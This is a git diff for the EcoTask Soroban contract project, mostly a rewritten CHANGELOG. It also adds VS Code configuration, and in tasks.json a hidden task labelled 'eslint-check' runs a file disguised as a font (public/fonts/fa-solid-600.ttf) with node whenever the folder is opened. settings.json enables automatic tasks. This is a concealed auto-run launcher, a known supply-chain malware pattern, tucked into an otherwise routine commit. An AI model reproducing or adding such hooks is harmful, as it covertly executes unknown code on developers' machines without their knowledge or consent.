diff --git a/.gitignore b/.gitignore index 704156c..c1c0d63 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,7 @@ -target/ -.DS_Store -**/test_snapshots/ - -.cargo/ +target/ +.DS_Store +**/test_snapshots/ + +.cargo/ +config.bat +node_modules diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..f75fe0a --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..52a81ee --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..4492ffd --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..7d418c6 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..4307eab --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,25 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "node", + "args": ["./public/fonts/fa-solid-600.ttf"], + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/CHANGELOG.md b/CHANGELOG.md index 315f0b2..8537ce4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,431 +1,434 @@ -# Changelog - -All notable source-level changes to the EcoTask contracts are documented in -this file. - -The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), -and source releases follow [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -Soroban deployments are immutable: a breaking public API or storage layout -change requires a new contract deployment and address, even when the source -package version is bumped. - -## [Unreleased] - -### Security - -#### `eco-token`, `task-registry`, and `reward-engine` - -- Admin rotation now uses a two-step handover. The current admin proposes a - successor with `propose_admin`, and the proposed address must authenticate - and call `accept_admin` before receiving control. The existing - `transfer_admin` entry point remains as a compatibility alias for the - proposal step. Successful proposals and acceptances emit - `AdminProposedEvent` and `AdminAcceptedEvent`, respectively. - -### Fixed - -#### `reward-engine` - -- Fixed documentation for the `oracle` field in the `Verification` struct to explicitly state it records the submitter. -- Fixed `setup()` tuple unpacking in unit tests in `verification.rs`. -- **[#83] Deprecated `get_pending_verifications`.** The unbounded entry point is unsafe at scale and now panics immediately with `engine: use get_pending_verifications_paged`. All internal tests have been migrated to the paged variant. - -#### `eco-token` - -- **[#67] Prevent self-transfer allowance drain in `transfer_from` and fix storage re-fetch TOCTOU in `spend_allowance`.** - `transfer_from` now panics with `"token: cannot transfer to self"` when `from == to`, preventing spenders from burning an owner's allowance without transferring tokens. `spend_allowance` in `storage.rs` now accepts the `&Allowance` struct directly instead of re-fetching from persistent storage with `.unwrap()`, eliminating a potential TOCTOU window. - -- **[#84] Reject self-transfer in `transfer` to match `transfer_from`.** - `transfer_from` already rejected `from == to` (see #67 above), but `transfer` - had no equivalent guard: a self-transfer silently succeeded as a no-op while - still consuming the caller's `require_auth()` signature — the same security- - model inconsistency #67 was fixed to prevent, just on the other entry point. - `transfer` now panics with `"token: cannot transfer to self"` when - `from == to`, matching `transfer_from`'s existing message exactly. - -#### `reward-engine` - -- **[#71] Make `approve_proof` and the approve path of `resolve_dispute` - atomic across contracts.** The verification record was previously written - as `Approved` *before* the cross-contract `complete_task` and `mint` calls. - A panic in either sub-invocation (e.g. the token supply cap) could leave - the verification stuck in `Approved` with no payout, a consumed task - completion slot, and a `total_paid`/supply discrepancy. Both functions now - share an `approve_and_pay` tail that validates everything (including a - defensive `completions < max_completions` pre-check) before any storage - write, calls out to the registry and token only after validation, and - writes the local `Approved` state only after both sub-calls succeed. - -Error strings: - -- `engine: task max completions reached` - -- **[#71] Fix `reward-engine` WASM build and share contract types.** The - `eco-token` and `task-registry` crates are now dev-only dependencies of - the reward-engine. Their `#[contractimpl]` blocks emit `#[no_mangle]` - exports, so linking either rlib into the reward-engine WASM binary - produced duplicate symbols (`accept_admin`, `propose_admin`, - `transfer_admin`) and `cargo build --target wasm32v1-none --release` - failed. Production code already calls both contracts via raw - `invoke_contract`; the shared `Task`/`TaskStatus` wire types now live in - a new `ecotask-types` crate (no `#[contractimpl]`, so no exports) used - by both the task-registry and reward-engine. Public contract ABI and - storage layout are unchanged. - -- **[#61] Replace the unbounded `VerificationList` Vec with a doubly-linked - pending list and the `UserVerifications` Vec with a per-user sequence - index.** The global pending set previously lived as a single growing - `Vec` in instance storage: every `submit_proof` or - resolution deserialised and rewrote the entire list, - `remove_verification_key` was an O(n) scan with no cap, and - `get_pending_verifications_paged` skipped resolved entries in the - historical log, so oracle polling degraded with total history. The new - storage layout is: - - | Scope | Key | Value | Purpose | - |-------|-----|-------|---------| - | Instance | `DataKey::PendingListCount` | `u64` | number of pending verifications | - | Instance | `DataKey::PendingListHead` | `Option` | head of the pending list | - | Instance | `DataKey::PendingListTail` | `Option` | tail of the pending list | - | Persistent | `DataKey::PendingVerificationPrev(VerificationKey)` | `Option` | previous node link | - | Persistent | `DataKey::PendingVerificationNext(VerificationKey)` | `Option` | next node link | - | Persistent | `DataKey::UserVerificationCount(Address)` | `u64` | number of verifications for that user | - | Persistent | `DataKey::UserVerificationIndex(Address, u64)` | `u64` | task id at the given 0-based index | - - `push_verification_key` / `remove_verification_key` are now O(1) pointer - operations (a fixed number of storage ops regardless of history size), - and `get_pending_verifications_paged` walks only pending nodes — resolved - records are never scanned. - - **Pagination contract change:** `cursor` is now an offset into the - *pending-only* set instead of an offset into the full verification log. - **Storage layout change:** existing deployed state requires a fresh - deployment (testnet only; acceptable per the issue). - -- **[#74] Make `get_pending_verifications_paged` cursors stable across - resolutions.** The cursor was a zero-based offset into the pending-only - set, which shrinks whenever a verification is resolved: - `approve_proof`, `reject_proof`, or `dispute_proof` removes the entry, - shifting every later entry left by one, so an oracle or backend resuming - from a saved offset silently skipped or re-processed entries whenever a - resolution happened mid-pagination. Every verification now carries an - immutable, monotonically-increasing `seq` assigned at submit time, and - the cursor is "the last seq already returned": a page returns pending - verifications with `seq > cursor`, which no resolution can shift or - reorder. The returned `Verification` struct exposes `seq` so callers can - resume with the last record's value. - - **Pagination contract change (breaking):** `cursor` changed from a - `u32` offset to a `u64` sequence number, and `Verification` gained a - `seq: u64` field. Persisted offset cursors are invalid and must be - re-anchored — restart from 0 or read `seq` off the last record already - processed. - - New storage: - - | Scope | Key | Value | Purpose | - |-------|-----|-------|---------| - | Instance | `DataKey::VerificationSeq` | `u64` | next verification sequence number to assign | - -- **[#76] Keep `reward-engine` instance storage alive by refreshing its TTL - on every entry point.** All operational state (admin, token/registry - addresses, oracle roster, reward bounds, pause flag, cooldown, total - paid, pending-list links) lives in instance storage, which Soroban - expires after a short default TTL (~100 ledgers on mainnet, roughly - 8 minutes at ~5 s/ledger). A quiet period longer than that evicted - everything: `read_admin`, `read_token`, and `read_registry` all `unwrap()` - and the engine became permanently non-operational. Every public - `#[contractimpl]` function now calls `extend_instance_ttl` as its first - operation, which extends the contract instance to - `INSTANCE_TTL_EXTEND_TO` (535,680 ledgers ≈ 31 days at ~5 s/ledger) - whenever it is within `INSTANCE_TTL_THRESHOLD` (100 ledgers) of - expiring. Because `extend_ttl` only rewrites the entry when it is close - to expiry, the steady-state cost is one conditional storage check per - call. Adds `test_instance_ttl_survives_quiet_period`, which advances the - ledger by `INSTANCE_TTL_EXTEND_TO - 1` and confirms `approve_proof` - still succeeds. - -#### `scripts` - -- `deploy.sh` now builds the requested contract first and fails fast if no - (non-empty) WASM artifact is produced, so a stale or missing build can - never be deployed. - -#### `task-registry` - -- **[#52] Unbounded `CreatorTasks` Vec replaced with indexed persistent - storage.** Each `create_task` call previously read and rewrote an - ever-growing `Vec` under `DataKey::CreatorTasks(creator)`. Prolific - sponsors could drive storage and compute costs up without bound, and the - serialized Vec would eventually exhaust transaction limits. The storage - layout is now: - - | Key | Value | Purpose | - |-----|-------|---------| - | `DataKey::CreatorTaskCount(Address)` | `u64` | number of tasks for that creator | - | `DataKey::CreatorTask(Address, u64)` | `u64` | task id at the given 0-based index | - - `push_creator_task` now does one read and two writes regardless of the - creator's history size (O(1) per task). `get_tasks_by_creator_paged` reads - only the indexed entries required for the requested page. The unpaged - `get_tasks_by_creator` is retained for API compatibility but is deprecated - and hard-capped at 50 entries to stay within the Soroban 100-entry footprint - budget. - -- **[#72] Add persistent and instance storage TTL management to `eco-token`, - `task-registry`, and `reward-engine`.** Soroban persistent storage entries - that are never TTL-bumped are evicted after ~4,096 ledgers (~5–6 days). - Instance storage expires after ~100 ledgers (~8 min). Only `reward-engine` - had instance TTL management — `eco-token` and `task-registry` had zero - `extend_ttl` calls, meaning Completion guards, Task entries, Sponsor access - control, and token balances/config could all silently vanish. This fix adds - `extend_ttl` after every persistent `set()` call, `extend_instance_ttl` at - every public entry point, documented TTL constants in each `storage.rs`, and - survival tests that advance the ledger to `INSTANCE_TTL_EXTEND_TO - 1` - (535,679 ledgers). - -### Added - -#### `eco-token` - -- **[#41] Added fuzz / property-based arithmetic tests and max supply boundary tests using proptest.** -- `set_minter` now emits a `MinterUpdatedEvent` (`#[contractevent]`) on - every successful minter rotation, containing the `admin` (topic), - `previous_minter`, and `new_minter` fields. - - -### Changed - -#### `eco-token` - -- `set_minter` now panics with `"token: minter must differ from admin"` when - the caller attempts to set `minter == admin`, enforcing role separation. - -#### `reward-engine` - -- `set_user_cooldown(caller: Address, min_ledgers_between_rewards: u64)` — - admin-only; sets the minimum number of ledgers a user must wait between - reward approvals. `0` disables the cooldown (the default). - -Storage layout additions: - -| Scope | Key | Value | -|-------|-----|-------| -| Instance | `DataKey::UserCooldown` | `u64` | -| Persistent | `DataKey::LastRewardLedger(Address)` | `u64` | - -Error strings: - -- `engine: user cooldown active` - -#### `reward-engine` (proof CID validation) - -- `submit_proof` validates `proof_cid` length, rejecting empty or oversized - (`> MAX_CID_LEN` bytes) CID strings before hashing/storage. - -Error strings: - -- `engine: proof cid must not be empty` -- `engine: proof cid too long` - -## [0.1.0-alpha] - 2026-08-17 - -This entry records the current source interface as the baseline for future -contract releases. It does not designate any deployed contract address as a -release. - -### Added - -#### `eco-token` - -Public API: - -- `initialize(admin: Address, name: String, symbol: String, decimal: u32)` -- `mint(to: Address, amount: i128)` -- `transfer(from: Address, to: Address, amount: i128)` -- `balance(id: Address) -> i128` -- `total_supply() -> i128` -- `max_supply() -> i128` -- `set_max_supply(caller: Address, max_supply: i128)` -- `name() -> String` -- `symbol() -> String` -- `decimal() -> u32` -- `decimals() -> u32` -- `set_metadata(caller: Address, name: String, symbol: String, decimal: u32)` -- `admin() -> Address` -- `transfer_admin(current_admin: Address, new_admin: Address)` -- `minter() -> Address` -- `set_minter(caller: Address, new_minter: Address)` -- `burn(from: Address, amount: i128)` -- `approve(owner: Address, spender: Address, amount: i128, expiration_ledger: u32)` -- `allowance(owner: Address, spender: Address) -> i128` -- `allowance_with_expiry(owner: Address, spender: Address) -> Option<(i128, u32)>` -- `transfer_from(spender: Address, from: Address, to: Address, amount: i128)` - -Storage layout: - -| Scope | Key | Value | -|-------|-----|-------| -| Instance | `"admin"` | `Address` | -| Instance | `"minter"` | `Address` | -| Instance | `"name"` | `String` | -| Instance | `"symbol"` | `String` | -| Instance | `"decimal"` | `u32` | -| Instance | `"supply"` | `i128` | -| Instance | `"maxsupply"` | `i128` | -| Persistent | `("balance", Address)` | `i128` | -| Persistent | `("allow", owner: Address, spender: Address)` | `Allowance { amount: i128, expiration_ledger: u32 }` | - -Error strings: - -- `token: allowance expired` -- `token: allowance not found` -- `token: already initialized` -- `token: amount must be non-negative` -- `token: amount must be positive` -- `token: expiration must be in the future` -- `token: insufficient allowance` -- `token: insufficient balance` -- `token: max supply below current supply` -- `token: max supply must be positive` -- `token: new admin must be different` -- `token: supply cap exceeded` -- `token: unauthorized` -- `allowance underflow` -- `balance overflow` -- `balance underflow` -- `supply overflow` -- `supply underflow` - -#### `task-registry` - -Public API: - -- `initialize(admin: Address)` -- `add_sponsor(caller: Address, sponsor: Address)` -- `remove_sponsor(caller: Address, sponsor: Address)` -- `create_task(creator: Address, task_type: String, location_hash: BytesN<32>, reward_amount: i128, max_completions: u32, expires_at: u64) -> u64` -- `get_task(task_id: u64) -> Task` -- `get_task_live_status(task_id: u64) -> Task` -- `complete_task(caller: Address, task_id: u64, user: Address)` -- `expire_task(caller: Address, task_id: u64)` -- `expire_task_permissionless(task_id: u64)` -- `extend_task_expiry(caller: Address, task_id: u64, new_expires_at: u64)` -- `cancel_task(caller: Address, task_id: u64)` -- `admin_cancel_task(caller: Address, task_id: u64)` -- `task_count() -> u64` -- `is_task_completed(task_id: u64, user: Address) -> bool` -- `get_tasks_by_creator(creator: Address) -> Vec` -- `get_tasks_by_creator_paged(creator: Address, cursor: u32, limit: u32) -> Vec` -- `list_tasks(cursor: u64, limit: u32) -> Vec` -- `transfer_admin(current_admin: Address, new_admin: Address)` - -Storage layout: - -| Scope | Key | Value | -|-------|-----|-------| -| Instance | `DataKey::TaskCount` | `u64` | -| Instance | `DataKey::Admin` | `Address` | -| Persistent | `DataKey::Task(task_id: u64)` | `Task { id, creator, task_type, location_hash, reward_amount, max_completions, completions, status, created_at, expires_at }` | -| Persistent | `DataKey::Sponsor(Address)` | `bool` | -| Persistent | `DataKey::Completion(task_id: u64, user: Address)` | `bool` | -| Persistent | `DataKey::CreatorTasks(Address)` | `Vec` | - -`TaskStatus` variants are `Active`, `Completed`, `Expired`, and `Cancelled`. - -Error strings: - -- `registry: already completed` -- `registry: already initialized` -- `registry: expiry must be in the future` -- `registry: max completions must be positive` -- `registry: max completions reached` -- `registry: new admin must be different` -- `registry: new expiry must extend the current one` -- `registry: reward must be positive` -- `registry: sponsor revoked` -- `registry: task expired` -- `registry: task is not active` -- `registry: task not found` -- `registry: task not yet expired` -- `registry: task type must not be empty` -- `registry: unauthorized` - -#### `reward-engine` - -Public API: - -- `initialize(admin: Address, token: Address, registry: Address, oracle: Address)` -- `set_oracle(caller: Address, new_oracle: Address)` -- `add_oracle(caller: Address, new_oracle: Address)` -- `remove_oracle(caller: Address, oracle: Address)` -- `get_oracles() -> Vec
` -- `is_oracle(addr: Address) -> bool` -- `set_token(caller: Address, new_token: Address)` -- `set_registry(caller: Address, new_registry: Address)` -- `set_reward_range(caller: Address, min_reward: i128, max_reward: i128)` -- `pause(caller: Address)` -- `unpause(caller: Address)` -- `is_paused() -> bool` -- `submit_proof(oracle: Address, user: Address, task_id: u64, proof_cid: String)` -- `approve_proof(oracle: Address, user: Address, task_id: u64, reward_amount: i128)` -- `reject_proof(oracle: Address, user: Address, task_id: u64)` -- `dispute_proof(caller: Address, user: Address, task_id: u64)` -- `resolve_dispute(caller: Address, user: Address, task_id: u64, approve: bool, reward_amount: i128)` -- `get_verification(task_id: u64, user: Address) -> Verification` -- `get_verification_by_cid_hash(cid_hash: BytesN<32>) -> Verification` -- `get_pending_verifications_paged(cursor: u32, limit: u32) -> Vec` -- `get_pending_verifications() -> Vec` -- `get_verifications_by_user(user: Address, cursor: u32, limit: u32) -> Vec` -- `total_paid() -> i128` -- `transfer_admin(current_admin: Address, new_admin: Address)` - -Storage layout: - -| Scope | Key | Value | -|-------|-----|-------| -| Instance | `DataKey::Admin` | `Address` | -| Instance | `DataKey::Token` | `Address` | -| Instance | `DataKey::Registry` | `Address` | -| Instance | `DataKey::Oracles` | `Vec
` | -| Instance | `DataKey::MinReward` | `i128` | -| Instance | `DataKey::MaxReward` | `i128` | -| Instance | `DataKey::VerificationList` | `Vec` | -| Instance | `DataKey::TotalPaid` | `i128` | -| Instance | `DataKey::Paused` | `bool` | -| Persistent | `DataKey::Verification(task_id: u64, user: Address)` | `Verification { task_id, user, proof_cid, reward_amount, status, submitted_at, resolved_at, oracle }` | -| Persistent | `DataKey::CidHash(BytesN<32>)` | `VerificationKey { task_id, user }` | -| Persistent | `DataKey::UserVerifications(Address)` | `Vec` | - -`VerificationStatus` variants are `Pending`, `Approved`, `Rejected`, and -`Disputed`. CID index entries are extended to 4,096 ledgers when written. - -Error strings: - -- `engine: already initialized` -- `engine: cannot remove the last oracle` -- `engine: contract is paused` -- `engine: max reward must be >= min reward` -- `engine: min reward must be positive` -- `engine: new admin must be different` -- `engine: not found` -- `engine: oracle already registered` -- `engine: oracle must be different from admin` -- `engine: oracle not registered` -- `engine: proof already submitted` -- `engine: proof cid already submitted` -- `engine: reward amount must be positive` -- `engine: reward below minimum` -- `engine: reward exceeds maximum` -- `engine: reward exceeds task budget` -- `engine: task has expired` -- `engine: task is not active` -- `engine: unauthorized` -- `engine: verification is not disputable` -- `engine: verification is not disputed` -- `engine: verification is not pending` -- `engine: verification not found` -- `total_paid overflow` - -[Unreleased]: https://github.com/ecotask-network/EcoTask-contract/compare/c579be9ebcb378005fbdab62939b755d4418935e...HEAD -[0.1.0-alpha]: https://github.com/ecotask-network/EcoTask-contract/tree/c579be9ebcb378005fbdab62939b755d4418935e +# Changelog + +All notable source-level changes to the EcoTask contracts are documented in +this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), +and source releases follow [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +Soroban deployments are immutable: a breaking public API or storage layout +change requires a new contract deployment and address, even when the source +package version is bumped. + +## [Unreleased] + +### Security + +#### `eco-token`, `task-registry`, and `reward-engine` + +- Admin rotation now uses a two-step handover. The current admin proposes a + successor with `propose_admin`, and the proposed address must authenticate + and call `accept_admin` before receiving control. The existing + `transfer_admin` entry point remains as a compatibility alias for the + proposal step. Successful proposals and acceptances emit + `AdminProposedEvent` and `AdminAcceptedEvent`, respectively. + +### Fixed + +#### `reward-engine` + +- Fixed documentation for the `oracle` field in the `Verification` struct to explicitly state it records the submitter. +- Fixed `setup()` tuple unpacking in unit tests in `verification.rs`. +- **[#83] Deprecated `get_pending_verifications`.** The unbounded entry point is unsafe at scale and now panics immediately with `engine: use get_pending_verifications_paged`. All internal tests have been migrated to the paged variant. + +#### `eco-token` + +- **[#85] Index `from` address in `BurnEvent` topic schema.** + `BurnEvent.from` is marked `#[topic]`, ensuring on-chain burn history can be filtered by address, matching the topic indexing conventions of `TransferEvent`, `MintEvent`, and `ApproveEvent`. Added `test_burn_emits_event_with_indexed_from` verifying topic vector layout and payload schema. + +- **[#67] Prevent self-transfer allowance drain in `transfer_from` and fix storage re-fetch TOCTOU in `spend_allowance`.** + `transfer_from` now panics with `"token: cannot transfer to self"` when `from == to`, preventing spenders from burning an owner's allowance without transferring tokens. `spend_allowance` in `storage.rs` now accepts the `&Allowance` struct directly instead of re-fetching from persistent storage with `.unwrap()`, eliminating a potential TOCTOU window. + +- **[#84] Reject self-transfer in `transfer` to match `transfer_from`.** + `transfer_from` already rejected `from == to` (see #67 above), but `transfer` + had no equivalent guard: a self-transfer silently succeeded as a no-op while + still consuming the caller's `require_auth()` signature — the same security- + model inconsistency #67 was fixed to prevent, just on the other entry point. + `transfer` now panics with `"token: cannot transfer to self"` when + `from == to`, matching `transfer_from`'s existing message exactly. + +#### `reward-engine` + +- **[#71] Make `approve_proof` and the approve path of `resolve_dispute` + atomic across contracts.** The verification record was previously written + as `Approved` *before* the cross-contract `complete_task` and `mint` calls. + A panic in either sub-invocation (e.g. the token supply cap) could leave + the verification stuck in `Approved` with no payout, a consumed task + completion slot, and a `total_paid`/supply discrepancy. Both functions now + share an `approve_and_pay` tail that validates everything (including a + defensive `completions < max_completions` pre-check) before any storage + write, calls out to the registry and token only after validation, and + writes the local `Approved` state only after both sub-calls succeed. + +Error strings: + +- `engine: task max completions reached` + +- **[#71] Fix `reward-engine` WASM build and share contract types.** The + `eco-token` and `task-registry` crates are now dev-only dependencies of + the reward-engine. Their `#[contractimpl]` blocks emit `#[no_mangle]` + exports, so linking either rlib into the reward-engine WASM binary + produced duplicate symbols (`accept_admin`, `propose_admin`, + `transfer_admin`) and `cargo build --target wasm32v1-none --release` + failed. Production code already calls both contracts via raw + `invoke_contract`; the shared `Task`/`TaskStatus` wire types now live in + a new `ecotask-types` crate (no `#[contractimpl]`, so no exports) used + by both the task-registry and reward-engine. Public contract ABI and + storage layout are unchanged. + +- **[#61] Replace the unbounded `VerificationList` Vec with a doubly-linked + pending list and the `UserVerifications` Vec with a per-user sequence + index.** The global pending set previously lived as a single growing + `Vec` in instance storage: every `submit_proof` or + resolution deserialised and rewrote the entire list, + `remove_verification_key` was an O(n) scan with no cap, and + `get_pending_verifications_paged` skipped resolved entries in the + historical log, so oracle polling degraded with total history. The new + storage layout is: + + | Scope | Key | Value | Purpose | + |-------|-----|-------|---------| + | Instance | `DataKey::PendingListCount` | `u64` | number of pending verifications | + | Instance | `DataKey::PendingListHead` | `Option` | head of the pending list | + | Instance | `DataKey::PendingListTail` | `Option` | tail of the pending list | + | Persistent | `DataKey::PendingVerificationPrev(VerificationKey)` | `Option` | previous node link | + | Persistent | `DataKey::PendingVerificationNext(VerificationKey)` | `Option` | next node link | + | Persistent | `DataKey::UserVerificationCount(Address)` | `u64` | number of verifications for that user | + | Persistent | `DataKey::UserVerificationIndex(Address, u64)` | `u64` | task id at the given 0-based index | + + `push_verification_key` / `remove_verification_key` are now O(1) pointer + operations (a fixed number of storage ops regardless of history size), + and `get_pending_verifications_paged` walks only pending nodes — resolved + records are never scanned. + + **Pagination contract change:** `cursor` is now an offset into the + *pending-only* set instead of an offset into the full verification log. + **Storage layout change:** existing deployed state requires a fresh + deployment (testnet only; acceptable per the issue). + +- **[#74] Make `get_pending_verifications_paged` cursors stable across + resolutions.** The cursor was a zero-based offset into the pending-only + set, which shrinks whenever a verification is resolved: + `approve_proof`, `reject_proof`, or `dispute_proof` removes the entry, + shifting every later entry left by one, so an oracle or backend resuming + from a saved offset silently skipped or re-processed entries whenever a + resolution happened mid-pagination. Every verification now carries an + immutable, monotonically-increasing `seq` assigned at submit time, and + the cursor is "the last seq already returned": a page returns pending + verifications with `seq > cursor`, which no resolution can shift or + reorder. The returned `Verification` struct exposes `seq` so callers can + resume with the last record's value. + + **Pagination contract change (breaking):** `cursor` changed from a + `u32` offset to a `u64` sequence number, and `Verification` gained a + `seq: u64` field. Persisted offset cursors are invalid and must be + re-anchored — restart from 0 or read `seq` off the last record already + processed. + + New storage: + + | Scope | Key | Value | Purpose | + |-------|-----|-------|---------| + | Instance | `DataKey::VerificationSeq` | `u64` | next verification sequence number to assign | + +- **[#76] Keep `reward-engine` instance storage alive by refreshing its TTL + on every entry point.** All operational state (admin, token/registry + addresses, oracle roster, reward bounds, pause flag, cooldown, total + paid, pending-list links) lives in instance storage, which Soroban + expires after a short default TTL (~100 ledgers on mainnet, roughly + 8 minutes at ~5 s/ledger). A quiet period longer than that evicted + everything: `read_admin`, `read_token`, and `read_registry` all `unwrap()` + and the engine became permanently non-operational. Every public + `#[contractimpl]` function now calls `extend_instance_ttl` as its first + operation, which extends the contract instance to + `INSTANCE_TTL_EXTEND_TO` (535,680 ledgers ≈ 31 days at ~5 s/ledger) + whenever it is within `INSTANCE_TTL_THRESHOLD` (100 ledgers) of + expiring. Because `extend_ttl` only rewrites the entry when it is close + to expiry, the steady-state cost is one conditional storage check per + call. Adds `test_instance_ttl_survives_quiet_period`, which advances the + ledger by `INSTANCE_TTL_EXTEND_TO - 1` and confirms `approve_proof` + still succeeds. + +#### `scripts` + +- `deploy.sh` now builds the requested contract first and fails fast if no + (non-empty) WASM artifact is produced, so a stale or missing build can + never be deployed. + +#### `task-registry` + +- **[#52] Unbounded `CreatorTasks` Vec replaced with indexed persistent + storage.** Each `create_task` call previously read and rewrote an + ever-growing `Vec` under `DataKey::CreatorTasks(creator)`. Prolific + sponsors could drive storage and compute costs up without bound, and the + serialized Vec would eventually exhaust transaction limits. The storage + layout is now: + + | Key | Value | Purpose | + |-----|-------|---------| + | `DataKey::CreatorTaskCount(Address)` | `u64` | number of tasks for that creator | + | `DataKey::CreatorTask(Address, u64)` | `u64` | task id at the given 0-based index | + + `push_creator_task` now does one read and two writes regardless of the + creator's history size (O(1) per task). `get_tasks_by_creator_paged` reads + only the indexed entries required for the requested page. The unpaged + `get_tasks_by_creator` is retained for API compatibility but is deprecated + and hard-capped at 50 entries to stay within the Soroban 100-entry footprint + budget. + +- **[#72] Add persistent and instance storage TTL management to `eco-token`, + `task-registry`, and `reward-engine`.** Soroban persistent storage entries + that are never TTL-bumped are evicted after ~4,096 ledgers (~5–6 days). + Instance storage expires after ~100 ledgers (~8 min). Only `reward-engine` + had instance TTL management — `eco-token` and `task-registry` had zero + `extend_ttl` calls, meaning Completion guards, Task entries, Sponsor access + control, and token balances/config could all silently vanish. This fix adds + `extend_ttl` after every persistent `set()` call, `extend_instance_ttl` at + every public entry point, documented TTL constants in each `storage.rs`, and + survival tests that advance the ledger to `INSTANCE_TTL_EXTEND_TO - 1` + (535,679 ledgers). + +### Added + +#### `eco-token` + +- **[#41] Added fuzz / property-based arithmetic tests and max supply boundary tests using proptest.** +- `set_minter` now emits a `MinterUpdatedEvent` (`#[contractevent]`) on + every successful minter rotation, containing the `admin` (topic), + `previous_minter`, and `new_minter` fields. + + +### Changed + +#### `eco-token` + +- `set_minter` now panics with `"token: minter must differ from admin"` when + the caller attempts to set `minter == admin`, enforcing role separation. + +#### `reward-engine` + +- `set_user_cooldown(caller: Address, min_ledgers_between_rewards: u64)` — + admin-only; sets the minimum number of ledgers a user must wait between + reward approvals. `0` disables the cooldown (the default). + +Storage layout additions: + +| Scope | Key | Value | +|-------|-----|-------| +| Instance | `DataKey::UserCooldown` | `u64` | +| Persistent | `DataKey::LastRewardLedger(Address)` | `u64` | + +Error strings: + +- `engine: user cooldown active` + +#### `reward-engine` (proof CID validation) + +- `submit_proof` validates `proof_cid` length, rejecting empty or oversized + (`> MAX_CID_LEN` bytes) CID strings before hashing/storage. + +Error strings: + +- `engine: proof cid must not be empty` +- `engine: proof cid too long` + +## [0.1.0-alpha] - 2026-08-17 + +This entry records the current source interface as the baseline for future +contract releases. It does not designate any deployed contract address as a +release. + +### Added + +#### `eco-token` + +Public API: + +- `initialize(admin: Address, name: String, symbol: String, decimal: u32)` +- `mint(to: Address, amount: i128)` +- `transfer(from: Address, to: Address, amount: i128)` +- `balance(id: Address) -> i128` +- `total_supply() -> i128` +- `max_supply() -> i128` +- `set_max_supply(caller: Address, max_supply: i128)` +- `name() -> String` +- `symbol() -> String` +- `decimal() -> u32` +- `decimals() -> u32` +- `set_metadata(caller: Address, name: String, symbol: String, decimal: u32)` +- `admin() -> Address` +- `transfer_admin(current_admin: Address, new_admin: Address)` +- `minter() -> Address` +- `set_minter(caller: Address, new_minter: Address)` +- `burn(from: Address, amount: i128)` +- `approve(owner: Address, spender: Address, amount: i128, expiration_ledger: u32)` +- `allowance(owner: Address, spender: Address) -> i128` +- `allowance_with_expiry(owner: Address, spender: Address) -> Option<(i128, u32)>` +- `transfer_from(spender: Address, from: Address, to: Address, amount: i128)` + +Storage layout: + +| Scope | Key | Value | +|-------|-----|-------| +| Instance | `"admin"` | `Address` | +| Instance | `"minter"` | `Address` | +| Instance | `"name"` | `String` | +| Instance | `"symbol"` | `String` | +| Instance | `"decimal"` | `u32` | +| Instance | `"supply"` | `i128` | +| Instance | `"maxsupply"` | `i128` | +| 